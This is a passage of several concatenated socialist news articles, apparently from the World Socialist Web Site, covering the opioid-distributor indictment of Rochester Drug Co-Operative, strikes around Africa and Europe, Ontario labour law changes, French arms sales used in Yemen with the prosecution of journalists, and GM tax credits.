policing at home and endless wars abroad. The Beach Park disaster must be seen for what it is: not a freak accident, but the result of the irrationality of capitalism. Workers in the area should demand a thorough investigation into the cause of the chemical leak and demand full funding for adequate emergency response systems and infrastructure to protect residents from such disasters. This will not come from appeals to Democratic and Republican politicians, who serve corporate interests, but only from an organized movement of the working class through the building of rank-and-file neighborhood committees in the fight to take the means of production out of the hands of the corporate capitalist class in a struggle for socialism. On Tuesday, federal prosecutors indicted Rochester Drug Co-Operative, one of the nations 10 largest pharmaceutical distributors in the US, and two of its former executives on drug trafficking charges for their roles in advancing the nations deadly opioid crisis. The criminal chargesthe same type typically used by federal prosecutors against street-level dealersare the first of their kind for a pharmaceutical company and executives in the ongoing opioid epidemic sweeping the country. In the opioid industry, RDC functions as a middleman, buying controlled substances from manufacturers and selling them to individual pharmacies. The company is charged with conspiracy to distribute controlled narcotics (oxycodone and fentanyl) for nonmedical reasons, conspiracy to defraud the United States, and willfully failing to file suspicious order reports with the Drug Enforcement Administration (DEA). The companys former chief executive, Laurence Doud III, and the companys former chief compliance officer, William Pietruszewski, are individually charged with conspiracy to distribute controlled substances and conspiracy to defraud the US. Pietruszewski is also charged with willfully failing to file suspicious order reports. The charges from federal prosecutors relate to a five-year period, from 2012 to 2016, during which the company delivered to more than 1,300 pharmacies and took in over $1 billion in revenue. These figures and the evidence presented against the company are staggering. The case provides a glimpse into the pervasive corruption and political machinations behind the pharmaceutical companies and drug distributors, and the vast sums of money the companys top executives made pushing the deadly drugs that have destroyed millions of lives over the last decade. Documents released from the US attorneys office reveal that within the five-year span RDC, under Douds control, received and filled more than 1.5 million orders for controlled substances from its pharmacy customers. During this time-span, a period when opioid deaths were skyrocketing, RDC reported only four suspicious orders to the DEA. According to the complaint, the company failed to report at least 2,000 suspicious orders. From 2012 to 2016 RDC reportedly went from distributing 63,497 dosages of fentanyl patches or spray to 1.3 million dosages, a rate of increase that the feds refer to as exponential. RDCs distribution of oxycodone tablets also surged from 4.7 million in 2012 to 42.2 million in 2016, an increase of approximately 800 percent, according to court papers. Court papers filed with Douds indictment explain that an internal alert system flagged about 7,800 orders that exceeded a monthly purchase threshold, which by all accounts should have been reported to the DEA and investigated immediately. Instead, the company filled most of the orders without contacting the pharmacy or reporting the activity to the DEA. The company even raised purchase limits for some of the most profitable high-volume customers to allow them to buy in bulk without triggering further alerts. The indictment alleges that Doud and other top executives made the deliberate decision not to investigate, monitor or alert federal regulators about pharmacy customers they knew were providing opioids to people for non-medical uses. During this same time period, the company more than doubled Douds annual income, which rose to $1.5 million according to Manhattan US Attorney Geoffrey Berman. RDC was quick to strike a five-year, deferred prosecution deal under which it will be made to pay a $20 million finea fraction of the $1billion in profits the company made each year over the timeframe in questionreform its business practices and submit to supervision by an independent monitor. How the company will be able to reform its business practices under conditions in which its entire business model has been shown to be criminal in nature, is left to be seen. Both Doud, 75, and Pietruszewski, 53, face life in prison. Pietruszewski pleaded guilty Tuesday to the charges and has reached a cooperation agreement, while Douds lawyers have reported that they plan to fight the charges. There is little doubt that all those charged in this case, and similar cases taking place around the country, are guilty of the crimes with which they are charged, and likely many others. This reality is undisputed by all those involved. The companys spokesman Jeff Eller readily admitted their guilt in a statement released Tuesday saying, We made mistakes, while Pietruszewski pleaded guilty. More than any other entity, it is perhaps the defense campaign of Doud that speaks most directly to the rampant criminality of these companies. Douds lawyers have reported that they intend to fight the charges not on the basis of innocence, but rather that Doud was conspired against by other top executives in the company to take the fall for a crime whose authors include nearly every executive in the company. The charges brought against the company and executives are legitimate and the outrage against such practices more than justified. However, the legal proceedings are exceedingly limited. The roots of the opioid crisis go far beyond this or that corrupt individual or even company. To bring all those culpable of the innumerable crimes which have gone into the creation of one of the deadliest drug epidemics in the countrys history would require the expansion of the indictment to include: Dozens of other middleman drug distributors including McKesson, Cardinal Health and AmerisourceBergen, which have combined annual revenues of over $450 billion. (McKesson Chairman and CEO John Hammergren has the biggest pension fund, at $160 million, of any US corporate boss); All of the executives and CEOs of the corrupt pharmaceutical companies that knowingly falsely marketed these highly addictive drugs, above all the Sackler family of Purdue Pharma; The doctors who were often bought off or received kickbacks in exchange for pushing certain painkillers or overprescribing; Every politician in Congress, along with President Barack Obama, who worked to eviscerate the already inadequate oversight powers of the DEA in passing the Ensuring Patient Access and Effective Drug Enforcement Act of 2016; The countless political action committees representing the pharmaceutical industry who routinely buy off politicians on both sides of the political aisle. However, more fundamental than the individuals involved in these crimes is the social system that produces them. The opioid epidemic is produced by a coalescence of the ills of capitalism. It is the product of the staggering levels of inequality, poverty, unemployment and a general feeling of hopelessness that afflicts broad sections of the population, combined with an economic and political system that leaves those most severely impacted by the social crisis to fend for themselves. The complete domination of big business over society and the entire political system is not a feature of life that will be changed in the courts. Rather, the solution to the opioid crisis lies in the mobilization of the working class to take ownership of the for-profit pharmaceutical companies, drug distributors and the entire health care industry in order to provide medical care in the interest of human need, not private profit. This author also recommends: Merchants of Death: The pharmaceuticals, Congress and the US opioid epidemic [19 October 2017] A socialist response to the opioid crisis [23 August 2018] The World Socialist Web Site invites workers and other readers to contribute to this regular feature. Africa Miners union sells out five-month long strike at Sibanye Stillwater in South Africa The South African Association of Mineworkers and Construction Union (AMCU) has sold out the almost five-month pay strike of its 15,000 members at the Kloof, Beatrix and Driefontein gold mines. A deal was agreed as AMCU platinum miners were threatening to join the strike over separate wage negotiations. The AMCU gold miners had been striking for an increase of R1,000 a month over three years. Instead, the deal agreed April 17 between AMCU and Sibanye Stillwater is the same as the slave labour deal signed with three other unionsthe National Union of Metalworkers, Solidarity and UASAplus an extra R4,000 payout. Some workers will get a monthly increase of R650 in the first year, R700 in year two and R825 in the final year, with the option of a R5,000 loan repayable to the company over a year. The union is not opposing disciplinary action by the company against its members sacked while on strike. The AMCU has also committed to productivity increases to recover production lost during the strike and accepted the right of the company to carry out a restructuring programme that threatens nearly 7,000 gold mining jobs. Sibanye is currently beginning a takeover of Lonminemployer of the 34 striking miners massacred by police at Marikana in 2012making it the worlds largest producer of precious metal. The AMCU has a clear majority in the platinum sector, where thousands of jobs are slated to go in the takeover. In March, the union claimed it would call out workers at all of South Africas platinum and coal mines alongside the gold miners, but caved in to a court ruling banning the action. South African Johannesburg casual health workers strike and demonstrate for permanent employment On April 21, casual health care workerslong classified as volunteersdemonstrated on the streets of Johannesburg, South Africa, demanding permanent employment. Around 500 striking workers stopped traffic in Gauteng province, demanding the government implement a commitment made last year to end their status as contract workers. The National Union of Public Sector and Allied Workers members are also demanding the minimum monthly wage of R3,500 and the opportunity to progress up the grades to R12,000 a month. A spokesperson for the provincial government said the issue of permanent employment for casual health workers was being dealt with by the government nationally, but Unfortunately, the national fiscus is unable to absorb all 53,000 of them. Union calls off South African Comair strike after court ruling A planned strike at airline company Comair called by the National Union of Metalworkers of South Africa (NUMSA) was abandoned after the labour court declared it would make its ruling on Tuesday. The strike should have gone ahead on Good Friday for maximum impact over the Easter holidays. The dispute arose last year over 23 staff getting preferential wages over 683 others doing comparable workfrom R600 to R6,700 more per month. NUMSA is calling on the arbitration services to intervene and proposes three years for wage disparities to be eliminated. South African cement workers strike over pay Cement workers are on strike at the Pretoria Portland Company to demand a 12 percent wage and allowance increase. The protected strike approved by the Commission for Consolidation Mediation and Arbitration began April 9. Management is refusing to negotiate with the recognised union, the National Union of Mineworkers (NUM). Workers are also complaining about the widening gap between management salaries and members pay. Pretoria Portland Company is the biggest cement supplier in South Africa. Seven hundred Ethiopian clothing strikers sacked Seven hundred Ethiopian workers have been sacked at Jonson Manufacturing Ltd. for striking. The company produces work-wear clothing. The strikers protested on the streets April 7 and 8, demanding an improvement in working conditions. The National Clothing, Textile and Allied Workers Union members are complaining about unpaid overtime, long workdays, poor wages, irregular pay dates and unnecessary delays in severance pay for those who leave the company. Jonson appealed to the labour court, which made the strike illegal. Nigerian health workers strike over unpaid wages Nigerian Medical Association members went on strike last week as they have received no pay since January. Other health employees in the Joint Public Service Negotiating Council are expected to join the strike if the state has not paid their wages in two weeks. Local government workers may also strike over wages and pensions unpaid for 54 months. The Nigerian Labour Congress (NLC) gave a seven-day strike notice at the beginning of this month. The state governor has not responded. The NLC says there is no reason for wages not to be paid, as the federal government has allocated the funds. Nigerian civil servants protest 55 months of missing remittances and lack of promotions Civil servants at Kwara State Water Corporation, Nigeria, demonstrated April 18 over dues deducted from wages not being transferred for the last 55 months. The Association of Senior Civil Servants of Nigeria and the Amalgamated Union of Public Corporations members are also complaining about lack of promotions for the last nine years. Promotions were advertised last year but not financed. The unions claim unpaid dues owed to the National Housing Fund and cooperative unions amount to Naira 43.4 million. A commitment by the state government to finance the missing monies in instalments has not been carried through. Europe Romanian appliance workers on strike for over two months begin protest march A strike by around 400 workers at the Swedish-owned Electrolux appliance factory in Satu Mare in Romania is about to enter its third month. On Monday, striking workers from the plant began a 600-km march to the Swedish embassy in Bucharest to publicise their demands. The strikers are demanding a pay rise. Many are paid at a rate below the living wage deemed necessary for a married couple with two children. They have rejected the latest offer by the company for a 12.7 percent pay rise over two years and are demanding an immediate 21 percent rise. The union representing the workers, ALFA, is calling for a boycott of Electrolux goods. Union calls off strike by Portuguese fuel drivers A strike for higher pay, improved benefits and hours of work by around 700 fuel drivers in Portugal that began April 15 was called off on April 18. The decision to end the strike followed 10 hours of discussions between the road hauliers association ANTRAM and the National Union of Drivers of Hazardous Material. According to the Portugal News website, new negotiations will take place over the course of the year. The fuel delivery drivers strike was beginning to bite, with around half of the countrys filling stations reporting being out or nearly out of fuel. Catering staff at two UK hospitals to strike for pay parity Around 70 catering staff employed by outsourcing company Sodexo at Doncaster Royal Infirmary and at Bassetlaw Hospital in Nottinghamshire are to strike May 1-3. The GMB and Unison union members are protesting poverty wages and are demanding they be paid in line with NHS-employed staff at the hospitals. Unison has also called strikes for May 7-9, 15-17 and 20-22. The French-owned Sodexo made a 65 million profit last year. Hospital security staff at Southampton strike over pay and safety Staff working for outsourcing company Mitie Group who provide security at the Southampton General Hospitals A&E department held a 24-hour strike beginning 7 a.m. on Good Friday. The second such action demanded that pay for security staff be raised from 9.50 an hour to 10.50 an hour, and for supervisors to be paid 12.16 an hour. They are also demanding enhanced security measures. The Unite union members will also hold a 48-hour strike on May 3 followed by a 24-hour strike on May 24 and a 72-hour strike on June 7. Academic staff at Winchester university balloted over job cuts UK academics at the University of Winchester are being balloted for possible strike action in response to university plans to cut 55 jobs48 teaching posts and 7 research posts. The university is citing increased pension costs to justify culling around 10 percent of the workforce. Those balloted are members of the University and College Union (UCU). The ballot closes May 9. In 2018, after 14 strike days, the UCU sold out the struggle by around 50,000 lecturers, librarians, administration staff and technicians to defend their pensions and conditions. Low-paid UK hospital workers at Macclesfield protest wage delay Low-paid staff working for outsourcing company ISS at Macclesfield District Hospital in northwest England held a protest outside the hospital on April 18. The GMB union members are opposing plans by ISS to change its payroll system. ISS, which provides catering, cleaning and security services, wants to withhold one weeks wages paid when a worker leaves the company. This means it will be three weeks before the already low-paid workforce of mainly women receive their next two weeks pay. The delay in payment will cause financial hardship. Irish ambulance crew confirm they will take further action over union recognition Irish ambulance staff, comprising paramedics, advanced paramedics and emergency medical technicians, are to step up their strikes. Following a meeting on April 18, National Ambulance Service Representation Association (NASRA) members decided to hold a series of 24-hour strikes. They have previously held a series of six 10-hour strikes. NASRA is affiliated to the Psychiatric Nurses Association (PNA). NASRA represents around 500 ambulance staff and is demanding recognition from the Health Service Executive. Currently, only the Services Industrial Professional and Technical Union is recognised. Dates for the proposed 24-hour strikes will be announced at the PNA annual conference on May 2. Russian Ford workers demand higher severance pay Around 1,000 car workers at the Ford-Sollers car plant in Vsevolozhsk, which opened in 2002, are faced with losing their jobs when the factory closes in June. Ford also plans to close its two other car plants in Russia, leaving only one plant producing transit vans. Hundreds of the Ford-Sollers workers attended a recent meeting at Vsevolozhsk town hall where they vented their anger. Ford-Sollers has offered redundancy packages of a years pay. The Ford Primary Trade Union Organisation, representing about half the workforce, is calling for two years pay, as is the norm in other Ford plants. The union has not put forward any proposal to oppose the closure or join the fight of the Vsevolozhsk Ford workers with that of other Ford workers around the world facing job cuts. Workers face a bleak future, with very few well-paid jobs. Most vacancies in the area offer around US$390 a month, half the average Ford pay. Middle East Three-day protest by Moroccan teachers Striking Moroccan teachers began three days of protests on Tuesday, marching through the capital, Rabat. The teachers from across the countrys 12 regions have been on strike since February 20. Teachers employed on a yearly contractual basis are demanding job security and the same pension rights as permanent staff. An agreement to settle the dispute was signed on April 13, but a planned meeting between teachers unions and the Ministry of National Education was cancelled. The government accused the teachers of negating the agreement by not returning to work. Teachers representatives accused the government of continuing legal action against the striking teachers. A Morocco World News article of April 23 described teachers at the rally chanting, Well be here till integration and Our fight continues, we wont give up. Ontarios right-wing populist Premier Doug Ford and his Progressive Conservative government are intensifying their assault on worker rights. During a recent visit to Markham, Ford all but announced his self-styled Government for the People will criminalize teacher job action to force through major hikes in class sizes, teacher job cuts and other concessions that will increase teacher workloads and further undermine public education. As tens of thousands of teachers across the province enter contract negotiations that are due to climax in the fall, Ford declared, Guys, dont pull this strike nonsense on the parents and the poor students. The multi-millionaire corporate owner went on to depict the provinces teacherswho more and more have to confront in their classrooms the social problems produced by decades of austerity, rapacious social inequality and mounting economic insecurityas veritable fat cats. I think its a pretty good deal that they have right now, said Ford. They get their three months holidays. They have the best benefit package in the entire country, the best pension in the entire country, the health plan. They have a great gig, if you want to call it (that). Coming from the mouth of a premier whose government has already announced increases in class sizes that will cost upwards of 10,000 teacher positions, and a miserly 1.2 percent annual increase to the education budgetin real terms, a spending cutthere can be no question as to the meaning of Fords remarks. He and his government intend to outlaw any teacher job action that challenges their assault on public education, while demagogically accusing teachers of holding children and parents hostage. In office only since last June, the Ford government has already twice outlawed strikes. Last summer it illegalized a strike by more than two thousand York University teaching and graduate assistants, and in December it illegalized a threatened strike by 6,000 Ontario Power Generation workers. Emboldened by the acquiescence and complicity of the trade unions, Ford and his government are mounting a vicious class-war assault, slashing funding for vital public and social services and gutting worker rights. On April 3, the week before the Conservative government tabled an austerity budget, its Restoring Ontarios Competitiveness Act (Bill 66) was proclaimed law. In the name of reducing red tape, this legislation rolls back labour standards and environmental regulations. Particularly significant are changes to the rules governing overtime. These changes will both enable employers to lower workers wages, by avoiding having to pay overtime, and facilitate their compelling workers to work more than 48 hours a week. Under the previous legislation, employers could not force workers to work more than 48 hours in a week unless the Ministry of Labours Director of Employment Standards had approved an employer-worker agreement allowing a longer workweek. Henceforth, such agreements will not require Ministry approval, making it far easier for companies to bully workers into working more than 48 hours. The Restoring Ontarios Competitiveness Act also changes the rules governing overtime averaging, so as to make it far easier for employers to escape having to pay workers overtime when they work more than 44 hours in a given week. A previous report commissioned by the Ontario Ministry of Labour had recommended overtime averaging be scrapped, as there was no reason to undermine the requirement to pay overtime by permitting averaging. Instead, the government has extended overtime averaging from a two-week to a four-week period. This will enable employers to impose longer hours and erratic work schedules that will help them maximize profits, including by minimizing their overtime payments. Bill 66 also amends the Labour Relations Act to remove the stipulation that municipalities and publicly-funded bodies like hospitals and universities must employ unionized construction companies on infrastructure projects. While the building trades unions have long connived in the enforcement of brutal attacks on construction workers, this change is aimed at opening the door to an intensified assault on workers wages and working conditions, including their occupational health and safety. The new legislation makes many other regressive regulatory changes, including regarding the protection of drinking water, companies use of toxic substances, the mandatory-posting of labour standards at worksites, and teacher-infant ratios in daycares. This attack on workers rights follows hot on the heels of the Ford governments rescinding, under its Making Ontario Open for Business Act, an increase in the minimum wage from $14 to $15 that had been slated for January. The increase, proposed by the former Liberal government in a desperate attempt to rally support ahead of last Junes provincial election, was replaced by the Low-income Individuals and Families Tax Credit (LIFT), which the Tories claimed would give just as much money to low-income workers. A study by the Ontario governments own independent fiscal watchdog, the Financial Accountability Office (FAO), has put the lie to these claims. The LIFT credit will provide fewer benefits to minimum wage workers than increasing the minimum wage from $14 per hour to $15, said Peter Weltman, co-author of the report. The study notes that about 800,000 of Ontarios minimum-wage workers will get nothing from the LIFT credit because their earnings are so low that they dont pay any provincial income tax. The Ford government is spearheading the Canadian ruling class drive to boost profits and attract investment through increased exploitation of the working classausterity, privatization, deregulation and the gutting of labor and environmental protections. By last November, Ford was already boasting that his government had saved taxpayers $3.2 billion in program expenses, while reducing taxes for big business and the rich. Terrified that any mass mobilization against the Ford government could quickly escape their control, the unions have met one government provocation and outrage after another with a flurry of press releases. After a decade-and-a-half during which they supported a pro-austerity, big business Liberal government at Queens Park, the Ontario Federation of Labour (OFL), Unifor and the other unions are determined to smother any working class challenge to the Ford government and the Canadian ruling class austerity and competitiveness agenda. Instead, the OFL is urging workers to wait until 2022 to elect a progressive government, i.e., a right-wing, pro-capitalist government led either by the New Democratic Party or Liberals. The Conservatives wave of social attacks is, nonetheless, being met with growing anger and opposition from Ontarios working class, as evidenced by the rise in protests and strikes throughout the province in the recent weeks. On April 6, more than 10,000 teachers, students, parents and their supporters rallied outside the Ontario legislature, just two days after well over 100,000 high school students had walked out at schools across the province. Ford has made explicit his governments preparations to answer this militant groundswell from below. Speaking to the corporate elite at the Ontario Economic Summit in Niagara-on-the-Lake in October he warned that, not everybody out there supports making Ontario open for business these forces are already organizing. As underlined by his implicit threat to outlaw a teachers strike, Ford and the ruling class are preparing to use state repression and violence to impose their socially incendiary and anti- democratic policies. If the working class is to develop a sustained counter-offensive against the Ford governmentand it mustit needs to be armed with a socialist perspective and program, and to organize itself independently of and in opposition to the pro-capitalist trade unions. Only the struggle for working class political power in Ontario, across Canada and internationally can lead to the radical reorganization of socio-economic life according to human need, not private profit. Disclose, an independent investigative media, published on April 15 a devastating report exposing Frances role in the Saudi-led coalitions war crimes in Yemen. The coalition has massacred thousands of civilians in operations using weapons supplied by France, Britain, the United States and other countries. Yet top French officials continued to deny this in public, issuing bald-faced lies contradicted by their own intelligence briefings. On Wednesday, Disclose and its partners, including Radio France, Mediapart, Arte Info and Konbini revealed that the state is moving to prosecute those who helped expose these crimes. Police summoned two Disclose journalists and one Radio France journalist for questioning over the revelations. Discloses report cites a classified 15-page French military intelligence (DRM) report dated September 25, 2018. The report provides overwhelming evidence that French-made artillery, tanks and laser-guided missile systems were used against civilians in a war that has turned Yemen into the worlds worst humanitarian disaster zone. The DRM report, titled Yemen: security situation was given to President Emmanuel Macron for a defence council meeting at the Elysee presidential palace on October 3, 2018. The report covers French weapons sold to Saudi Arabia and the United Arab Emirates (UAE), both involved in the war in Yemen, even mapping out the positioning of French-made weapons on the Saudi-Yemeni border. Macrons foreign and defence ministers, Jean-Yves Le Drian and Florence Parly, were both present at the Elysee briefing. The DRM report states that CAESAR howitzers, one of the most powerful weapons made by French state-owned company Nexter Systems, were deployed along the Saudi-Yemeni border. This howitzer can fire six shells per minute up to 42 kilometres. The DRM report includes a map titled Population under threat of bombs which, Disclose writes, shows where 48 CAESAR guns are positioned close to the Saudi-Yemeni border, their turrets facing three different zones in Yemen, in which are located towns, villages, farms and farmers hamlets. The DRM report states CAESARs were likely used to back up loyalist troops and Saudi armed forces in their progression into Yemeni territory. That is, French-made guns were used to bombard Yemeni territory to prepare a Saudi invasion. CAESAR heavy artillery is shelling zones in Yemen inhabited by hundreds of thousands of people, according to the DRM. It states, The population concerned by potential artillery fire: 436,370 people. Based on data from the NGO Armed Conflict Location & Event Data Project (ACLED), Disclose writes: Between March 2016 and December 2018, a total of 35 civilians were killed in 52 bombardments localised within the range of the CAESARs. On June 14th 2018, Saudi artillery fire in the north of the country left two children dead and several adults wounded. Fully aware of the mounting death toll from the Saudi-led coalitions indiscriminate attacks, Paris kept selling CAESARs to Riyadh. The report states, No less than 129 CAESARs are due to be delivered to Saudi Arabia between now and 2023. Using satellite images and open-source information, Disclose traced the itinerary of one of these deliveries from the French port of Le Havre to Saudi port of Jeddah in September 2018. Disclose said satellite images, video and civilian photographs showed French Leclerc tanks were used in coalition offensives, including the November 2018 battle for the rebel-held port of Hodeidah. According to ACLED, they were responsible for 55 civilian deaths. French-made Mirage 2000-9 fighter planes, Cougar transport helicopters, the A330 MRTT refuelling plane and two French-built warships were also involved in the offensive. The DRM report also indicates that a new Paris-Riyadh arms deal, codenamed ARTIS, was agreed at the end of last year. This exposes as lies official denials that any such deal was in discussion. On October 30, 2018, Parly told news channel BFM-TV: We have no ongoing negotiations with Saudi Arabia. The contents of the DRM report expose this as a lie, Disclose notes: But at that very same date, the French government was involved in negotiations over the final details of the contract with Saudi Arabia, which covered a period lasting up to 2023. Under the ARTIS contract, France will deliver equipment, including Titus armoured infantry carriers, one of Nexters newest products, and the 105LG towed howitzer, from 2019 to 2024. The signing of the ARTIS contract requires approval from the Macron administration. Disclose writes, Before signing a contract such as ARTIS, Nexter was required to first obtain an export licence from Frances general directorate of armament, the DGA, which is part of the defence ministry. Subsequently, such contracts must be approved by the CIEEMG, a special commission that sits under the authority of the French prime ministers office. In its decision, the CIEEMG supposedly considers the internal situation of the country that is the final destination [of the weapons], and also of its practices regarding the respect of human rights. The French bourgeoisies human rights propaganda is a lying political cover for a policy of war and the enrichment of French defence contractors via mass killings and terror. Since the Saudi-led coalition intervened in Yemens civil war in 2015 to fight Shiite Houthi rebels it accuses of ties to Iran, Saudi Arabia has imposed sanctions and blockaded Yemen, provoking the worlds gravest humanitarian crisis. Nearly 14 million people are on the brink of starvation as the Red Sea blockade blocks supplies of food, fuel and medicine destined for more than 20 million Yemenis. Since launching the war, the coalition has carried out an unrelenting onslaught of airstrikes in Yemen. According to the DRM, the coalition has carried out 24,000 air strikes since 2015, including 6,000 in 2018. These attacks caused at least 8,000 civilian deaths. France has denied playing any role in these strikes. On February 13, speaking before the foreign affairs commission of Frances National Assembly, French Foreign Minister Jean-Yves Le Drian insisted, We supply nothing to the Saudi air force. The DRM report exposes his comment as a lie, reporting that Saudi fighter-bomber aircraft are equipped with the Damocles laser-guided system made by the French defence firm Thales. Parly publicly claimed that the French government wants to end the Red Sea blockade. On October 30, 2018, she told BFM-TV: It is a priority for France that humanitarian aid can get through. This was another lie, as Parly had received evidence that French-made warships participate in the naval blockade starving millions of Yemenis, and in the shelling of the Yemeni coast. In addition to serving its geostrategic interests, French imperialisms weapons sales are aimed above all at the working class. Even as it covertly armed the Saudi royals, Paris was openly providing billions of euros in arms to Egypts bloody military dictatorship, which seized power in 2013 via a coup targeting revolutionary struggles of the working class, gunning down thousands in the streets. Macron himself personally visited Egyptian President Abdel Fattah al-Sisi last month. This implicates the Macron regime in repression of the Egyptian workers via killings and torture of tens of thousands of political prisoners. In a recent report, Amnesty International stated that armoured vehicles were used by Egyptian security forces to disperse peaceful sit-ins across the country violently, adding: French vehicles were not merely assisting the security forces, but were themselves tools of repression, playing a very active role in the crushing of dissent. As it carries out unprecedented mass arrests of yellow vest protesters in France itself, the Macron administration is desperate to hide its political criminality from the public. It is continuing to lie to the public about its knowledge of its own participation in war crimes in Yemen. To my knowledge, French weapons are not being used in an offensive capacity in the war in Yemen, Parly told Radio Classique last week in response to the revelations of Disclose. I do not have any evidence that would lead me to believe that French arms are behind civilian victims in Yemen, she boldly lied. In the past decade since the federal bailout of US car companies, automaker General Motors has extorted billions in tax cuts and credits from all levels of government, despite raking in massive profits. These tax benefits have saved automakers billions while starving the public treasury of revenue. As reported by the Institute of Taxation and Economic Policy 60 Fortune 500 corporations nationally paid $0 in federal taxes in 2018 despite billions in profits. GM paid no taxes on its reported $4.3 billion in profits. Meanwhile, in the midst of downsizing, including the closure of five plants in North America, GM and other major corporations are continuing buybacks of stocks instead of investing in new plants and equipment. In February of this year US corporations carried out $770 billion in stock buybacks as reported by Goldman Sachs, the leading global investment bank, with the GM board of directors authorizing $14 billion in stock buybacks. According to one report, GM paid just $18 million in federal taxes between 2010 and 2016, while recording $50 billion in profits, an effective tax rate of some .036 percent. In tax year 2017, GM had $8.6 billion in future tax credits on its books carried forward from losses prior to the 2009 bankruptcy. Federal tax laws allow companies to carry forward losses suffered in prior years, reducing or eliminating current tax liabilities. In the case of GM it carried over losses from the period prior to the 2009 bailout by the US treasury. Further, the Tax Cuts and Jobs Act of 2017 enacted by the Trump administration entailed a massive lowering of the corporate tax rate, already one of the lowest in the world, from 35 to 21 percent. At the same time GM and other Detroit-based automakers have pocketed state tax credits, designed to supposedly preserve jobs. In 2015, Detroit automakers began restructuring programs, reducing investments and implementing other forms of cost cutting. In November 2018 GM announced the closure of five factories in North America and the elimination of some 14,000 jobs. In the state of Michigan, MEGA [Michigan Economic Growth Authority] tax credits were issued in the mid-1990s to GM in order to supposedly maintain jobs in the state. A MEGA credit is worth 100 percent of a states personal income tax rate multiplied by the actual wages and benefit costs on new or retained jobs. If the credit exceeds the tax owed, the company receives a refund. Additionally the credit could be received for 20 years. In 2009 Democratic Governor Jennifer Granholm gave GM a tax credit of $1.07 billion over 20 years that was tied to preserving 20,000 jobs and making $2.5 billion in capital investments. During contract negotiations between the United Auto Workers and GM in 2015, the automaker agreed to a continuation of tax credits by the Michigan Economic Development Corp (MEDC) from 2015-2029. While MEGA was advertised as a tax break to retain jobs, the auto companies never the less wiped out tens of thousands of jobs while attacks on wages and working conditions continued. Despite the recent massive layoffs, GM is still eligible for the full tax credit. Two of GMs recently announced plant closures are in Michigan, including the Detroit-Hamtramck Assembly Plant and its Warren transmission plant. GM has also slashed thousands of engineering and other white-collar jobs in the state. As reported by Automotive News, By July 2014, GM's remaining tax credits were worth $2.1 billion, the last public disclosure of their value made by MEDC, according to state records. Aware of the anger this would generate, the administration of Republican Governor Rick Snyder signed a non-disclosure agreement in December of 2015 to prevent the amount of the tax breaks from being made public. In the meantime, attempts by the legislature to force disclosure of the amount of the tax credits have failed. Similar deals were struck in other states. The Job Retention Credit and Job Creation Credit enacted in Ohio under Democratic Governor Ted Strickland required GM to retain 3,700 jobs and create another 200 jobs by 2010 in Lordstown. Under these requirements GM received $46 million in retention and $14 million in job creation credits through 2018. However, the claim that these tax credits were a job creation or retention mechanism is bogus. The Lordstown GM plant is an example. According to one report GM received over $60 million in tax credits from the state of Ohio over the past decade to supposedly keep jobs at the Lordstown plant, which closed in March. The policy of tax handouts to the auto companies has dovetailed with the concessions policy of the United Auto Workers based on the lie that workers have common interests with the employers. For over 40 years, the UAW sought to sabotage and curtail working class struggle, gutting wages and creating myriad joint union-management committees to increase productivity and undermine working conditions, claiming this was necessary to boost corporate competitiveness and undercut the overseas rivals of US carmakers. With The UAW national contracts set to expire in September, workers are determined to regain ground lost in the 2015 contracts that saw the implementation of further concessions, including maintenance of the two-tier system and a vast expansion of the number of super-exploited temporary part-time workers. Despite billions of dollars in tax credits, GM and other carmakers are set to continue their assault on jobs and wages, using the threat to jobs as a bludgeon to blackmail workers. Meanwhile, all levels of government are continuing to impose cuts to social services, claiming there is no money. This scandalous situation is another demonstration of the incompatibility of a system based on private ownership and private profit with the essential needs of the working class, the vast majority in society. In a far-reaching assault on democratic rights and free speech, the government of Emmanuel Macron is moving to prosecute journalists who have exposed both Frances complicity in Saudi Arabias illegal war in Yemen as well as the Macron governments efforts to cover it up. The governments actions are a response to the publication of a report on April 15 by the journalistic organization Disclose, in partnership with the Intercept, Radio France, Mediapart, Arte Info and Konbini. The report includes a leaked, classified intelligence report to the president and leading ministers from September last year with precise information on the use of French arms in Yemen. It proves that the Macron governments claims that it had no evidence that French arms were being used in the war, which has killed tens of thousands of civilians, were lies. Late Wednesday afternoon, Disclose and its partners published a joint statement reporting that its co-founders Geoffrey Livolsi and Mathias Destal, as well as Benoit Collombat of Radio France, had been summoned to appear before police yesterday for questioning in relation to the revelations. We have learned that a preliminary investigation for compromising national defence secrets has been launched by the Paris prosecutors, it states. The investigation is being conducted by the General Directorate for Internal Security (DGSI), the domestic intelligence agency. Condemning the Macron governments assault on a free press, the Disclose statement notes: The confidential documents revealed by Disclose and its partners presents a major public interest: making citizens and their representatives aware of what the government has sought to conceal. That is, indispensable information for the conduct of a balanced debate on arms contracts tying France to countries accused of war crimes. These proceedings against journalists have no other aim than to reveal our sources. In effect, this summons by the DGSI is an opening to find the principal author of the offense that we were the recipients of: those who allowed the sharing of information in the public interest. Let us be clear. This police investigation is an attack on the freedom of the press, which requires the anonymity of a journalists sources. An attack that is all the more serious given that the executive power is abusing defence secrets to extend the notion of protecting the interests of the nation to include the question of commercial transactions with countries at war... To the question: Do the French people have the right to be informed about the use of arms sold to countries accused of war crimes?, the government has thus chosen to answer with threats. The governments actions were also condemned in a statement signed by 36 French press outlets, including Le Monde and AFP. It states that defence secrets cannot be opposed to the right to information, indispensable to a dignified public debate, or serve as a Damocles sword to dissuade journalists from investigating and publishing. The classified intelligence report leaked to Disclose is entitled Yemen: Security Situation. It was presented to Emmanuel Macron for a defence council meeting on October 3, 2018, at which Foreign Minister Jean-Yves Le Drian and Minister of Defence Florence Parly were also present. It provides detailed information about the locations of arms used in Yemen. It documents that French-supplied CAESAR howitzer artillery were stationed along the Yemen-Saudi Arabian border with their turrets facing towns and villages inhabited by hundreds of thousands of people. Disclose states that satellite images confirm that the artillery has been used in Saudi coalition offensives. French tanks and laser-guided missile systems for aerial bombers were also confirmed to have been used. The war against Yemen, one of the worlds poorest countries, has been waged by the Saudi monarchy since 2014 with the assistance of both the Obama and Trump administrations and the European imperialist powers, including Britain and France. Tens of thousands of civilians have been killed. Up to 14 million people, or half the population, face starvation as a result of the Saudi monarchys strategy of blockading Yemeni ports to stop supplies of food and humanitarian aid. The report makes clear that Frances actions are in violation of international law, including the 2014 European treaty on arms trade, which outlaws arms sales when the country has knowledge at the time of authorization that the arms or items would be used in the commission of war crimes. It strongly suggests that top Macron administration officials have violated European law. While the government has refused to respond to the revelations, Minister of Defence Parly tried to downplay their significance last week, telling Radio Classique on April 18 that to my knowledge, these arms are not used in an offensive manner in this war in Yemen and in any case I do not have any proof permitting to state that French arms are the source of civilian victims. These weasel words should be rejected with the contempt they deserve, as an examination of the objective record makes 